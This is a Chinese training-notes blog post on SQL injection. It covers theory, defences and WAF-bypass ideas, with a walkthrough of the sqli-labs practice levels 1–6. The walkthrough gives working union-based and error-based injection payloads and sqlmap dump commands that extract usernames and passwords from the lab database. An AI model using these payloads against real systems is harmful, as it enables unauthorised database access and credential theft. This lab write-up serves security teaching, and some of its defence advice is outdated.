网安毕业实训——Day5

目录

一、SQL注入

1. SQL注入原理

2. SQL注入常用函数及含义

3. SQL注入防御手段

4. SQL注入常用绕过waf的方法

二、sqli-labs通关前5关

level 1

level 2

level 3

level 4

level 5

三、总结SQLi的手工注入的步骤

1. 判断有无注入点

2. 猜解列名数量

3. 判断数据回显点

4. 信息收集

5. 提取敏感数据

四、使用sqlmap通过第六关


一、SQL注入

1. SQL注入原理

  • SQL注入是一种常见的网络攻击手段,通过在应用程序的输入数据中插入恶意的SQL代码,从而操纵数据库执行未经授权的操作。

  • SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

  • SQL注入式攻击的主要形式有两种:

    一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。上面笔者举的例子就是采用了这种方法。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法

    二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“--”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不被编译与执行。

注入类型

2. SQL注入常用函数及含义

  1. SELECT \*: 这是一个基本的查询,用于获取表中的所有数据。攻击者可能会利用这个来查看表结构或获取所有记录。

  2. UNION ALL 或 UNION: 用于合并两个或更多的查询结果集。攻击者可以添加额外的行来覆盖或者混淆原始结果,达到提取数据的目的。

  3. ORDER BY: 改变排序条件,如果结合了特定列名,可以用来筛选出特定的数据。

  4. LIMIT: 控制返回的结果数,攻击者可能会设置它来获取较小范围内的数据,然后逐个测试。

  5. BETWEEN 或 IN: 用于指定范围,攻击者可以设置非法范围来绕过过滤或访问未授权的数据。

  6. LIKE: 用于模式匹配,如'%username%'可能导致注入攻击,因为攻击者可以用通配符进行任意字符串匹配。

  7. CONCAT() 或 +: 结合操作符,可用于拼接用户提供的值与其他字段,形成潜在的恶意SQL命令。

  8. EXISTS: 判断是否存在满足某个条件的记录,攻击者可以通过这种方式间接地执行SQL操作。

  9. DELETE 或 UPDATE: 删除或修改数据,允许攻击者破坏数据库。

3. SQL注入防御手段

  1. 过滤掉一些常见的数据库操作关键字:select,insert,update,delete,and,*等 或者通过系统函数:addslashes(需要被过滤的内容)来进行过滤

  2. 在PHP配置文件中Register_globals=off;设置为关闭状态 //作用将注册全局变量关闭。 比如:接收POST表单的值使用_POST['user'],如果将register_globals=on;直接使用user可以接收表单的值。

  3. SQL语句书写的时候尽量不要省略小引号(tab键上面那个)和单引号

  4. 提高数据库命名技巧,对于一些重要的字段根据程序的特点命名,取不易被猜到的

  5. 对于常用的方法加以封装,避免直接暴漏SQL语句

  6. 开启PHP安全模式Safe_mode=on;

  7. 打开magic_quotes_gpc来防止SQL注入Magic_quotes_gpc=off;默认是关闭的,它打开后将自动把用户提交的sql语句的查询进行转换,把'转为',这对防止sql注入有重大作用。 因此开启:magic_quotes_gpc=on;

  8. 控制错误信息,关闭错误提示信息,将错误信息写到系统日志。

  9. 使用mysqli或pdo预处理。

4. SQL注入常用绕过waf的方法

  1. 编码伪装,利用特殊字符编码方式绕过WAF的检测。

  2. 转义字符伪装,使用转义字符来隐藏恶意SQL语句。

  3. 随机数混淆,在注入语句中加入随机数,使其不被WAF检测到。

  4. 大小写伪装,通过大小写混合来伪装关键词。

  5. 双写伪装,将关键词双写,WAF识别为普通字符。

  6. 内联注释伪装,将恶意SQL代码隐藏在注释中,不被防火墙检测到。

  7. 协议层面绕过,利用WAF解析协议的问题。

  8. 规则缺陷/特性角度绕过,如空白符替换绕过


二、sqli-labs通关前5关

前5关均采用手工注入,未使用sqlmap

level 1

进入关卡先判断是否存在sql注入。先输入?id =1 and 1=1,再换成and 1=2,发现没有变化,考虑是为字符型而非整形。用 ’进行测试,发现页面报错,出现如下显示,证明可以进行SQL注入。

又因为该页面存在回显,所以我们可以使用联合查询。 (联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。)

联合注入步骤如下:

1)查询字段数,即表格列数。3没报错,4报错,说明字段数为3。

?id=1'order by 3 --+

2)查询显示位。

这里为了不让前面id=1的查询成功影响我们的判断,所以将1改为任意使其查询失败的值,例如-1。

?id=-1' union select 1,2,3--+

所以2,3是回显的位置。

3)查看数据库信息:

?id=-1' union select 1,version(),database()--+

由结果知当前数据库是security,版本是5.7.26。

4)查看所有数据库:

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

5)查询security内的所有表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

6) 查看users里的字段:

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where columns.table_name='users'),3--+

7)通过上面的操作,我们从information_schema中得到了当前数据库security中存在的表和部分字段,接下来去security数据库查询所有的用户名和密码:

?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

level 2

和第一关一样,先进行判断。单引号测试报错,注入 ?id=1 and 1=1未报错,换 and 1=2 报错,所以判断可进行数字型sql注入。

后面步骤和第一题类似。但由于这个是数字型,所以闭合的时候不用加单引号,其余与Less-1一样。

level 3

第三题,先对代码进行注入?id=1' ,发现报错。

所以用?id=1′) --+代码进行注入,发现可以成功的获得用户名和密码。

payload变成如下:

?id=-1") union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

level 4

这里我们输入' '' ') '') 等等都不对,然后尝试 ",注意这里是双引号,不是两个单引号,页面错误

可知存在"" 和 ) 的包装,于是注入 ?id=1") and 1=2 --+,其他与前面关卡一样。

level 5

单引号判断,报错:

输入:?id=1,页面显示如下:

尝试发现输入不同的数字页面一样,并且无回显。那么可以选择布尔盲注,也可以直接报错注入。

这里我选择通过floor报错注入:

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

其中payload为要插入的SQL语句,concat是聚合函数,使用聚合函数进行双注入查询时,会在错误信息中携带payload查询出来的信息。

1)查版本、数据库、用户:

?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

2)爆表名:

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

3)爆字段:

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

4)查username:

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select count(username) from users)))--+

由结果知,有13个用户,一次输出一行,那么可用limit挨个遍历。

查第一个用户账户:

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select username from users limit 0,1)))--+

修改limit 的值,得到第二个用户账户,以此类推可得其他用户。

?id=1' and (select count(*)from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select username from users limit 1,1)))--+


三、总结SQLi的手工注入的步骤

1. 判断有无注入点

  • 输入测试:在应用程序的输入字段(如URL参数、表单输入等)中尝试输入特殊字符(如单引号'、双引号"、注释符--等),观察应用程序的反应。

  • 逻辑判断:使用and 1=1and 1=2等逻辑判断语句,观察应用程序返回的结果是否发生变化。如果变化,则可能存在注入点。

2. 猜解列名数量

  • 使用ORDER BY语句:通过逐渐增加ORDER BY子句中的数字,观察应用程序何时报错。报错通常意味着尝试排序的列数超过了实际存在的列数。

  • 目的:确定目标表中有多少列,以便在后续的联合查询(UNION SELECT)中构造正确的查询语句。

3. 判断数据回显点

  • 利用UNION SELECT:在确认列数后,使用UNION SELECT语句将自定义的查询结果与原查询结果合并。通过构造适当的查询,使UNION SELECT前的查询无效(如使用不存在的表或条件),从而只显示UNION SELECT后的查询结果。

  • 观察回显:观察应用程序的响应,确定哪些位置会回显自定义查询的结果。这些位置就是数据回显点。

4. 信息收集

  • 查询数据库信息:利用回显点,通过构造特定的查询语句来收集数据库的信息,如数据库版本(@@version)、当前数据库名(DATABASE())、数据库用户(USER())等。

  • 查询表名和列名:利用information_schema数据库中的tablescolumns表,可以查询出目标数据库中所有表名和列名。

5. 提取敏感数据

  • 构造查询语句:在知道表名和列名后,可以构造查询语句来提取敏感数据,如用户账号、密码等。

  • 使用聚合函数:如果表中的数据量很大,可以使用GROUP_CONCAT()等聚合函数将多个结果合并为一个字符串返回。


四、使用sqlmap通过第六关

1.检测注入点

首先使用sqlmap来检测是否存在SQL注入点。打开终端或命令提示符,输入以下命令:

python sqlmap.py -u "http://sqli-labs/Less-6/?id=1"

住:--batch参数用于自动执行sqlmap的默认行为,无需用户交互

2.列出所有数据库 检测到注入点之后,可以列出服务器上的所有数据库:

python sqlmap.py -u "http://sqli-labs/Less-6/?id=1" --dbs

3.选择并列出数据库中的表 若是知道目标数据库的名称(security),可以列出该数据库中的所有表:

python sqlmap.py -u "http://sqli-labs/Less-6/?id=1" -D security --tables

4.选择表并列出字段 列出users表中的所有字段。使用以下命令:

python sqlmap.py -u "http://sqli-labs/Less-6/?id=1" -D security -T users --column

5.导出数据 最后,可以导出users表中的username和password字段中的数据,可以使用以下命令:

python sqlmap.py -u "http://sqli-labs/Less-6/?id=1" -D security -T users --dum

  • 17
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值